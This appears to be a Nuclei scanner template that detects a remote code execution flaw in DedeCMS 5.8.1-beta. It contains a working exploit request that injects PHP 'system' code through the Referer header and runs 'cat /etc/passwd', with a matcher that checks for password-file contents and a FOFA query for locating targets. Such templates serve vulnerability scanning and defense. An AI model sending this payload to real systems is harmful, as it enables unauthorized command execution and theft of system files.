id: dedecms-rce

info:
  name: DedeCMS 5.8.1-beta - Remote Code Execution
  author: ritikchaddha
  severity: critical
  description: |
    DedeCMS 5.8.1-beta is susceptible to remote code execution via a variable override vulnerability that allows an attacker to construct malicious code with template file inclusion without proper authorization, thus possibly obtaining sensitive information, modifying data, and/or gaining full control over a compromised system without entering necessary credentials.
  reference:
    - https://srcincite.io/blog/2021/09/30/chasing-a-dream-pwning-the-biggest-cms-in-china.html
    - https://sectime.top/post/1d114771.html
  classification:
    cpe: cpe:2.3:a:dedecms:dedecms:*:*:*:*:*:*:*:*
    cwe-id: CWE-78,CWE-94
  metadata:
    verified: true
    max-request: 1
    fofa-query: app="DedeCMS"
    product: dedecms
    vendor: dedecms
  tags: dedecms,cms,rce,vuln

http:
  - raw:
      - |
        GET /plus/flink.php?dopost=save&c=cat%20/etc/passwd HTTP/1.1
        Host: {{Hostname}}
        Referer: <?php "system"($c);die;/*ref

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:[x*]:0:0"

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100bca9b532419c51bd63f7ce3b51aee2dc4c29aa9582e04a2497bb35c883d58480022100a73b56788538a957f243d6dff084c3c72e38a615b34f033b7704a619eac4495c:922c64590222798bb761d5b6d8e72950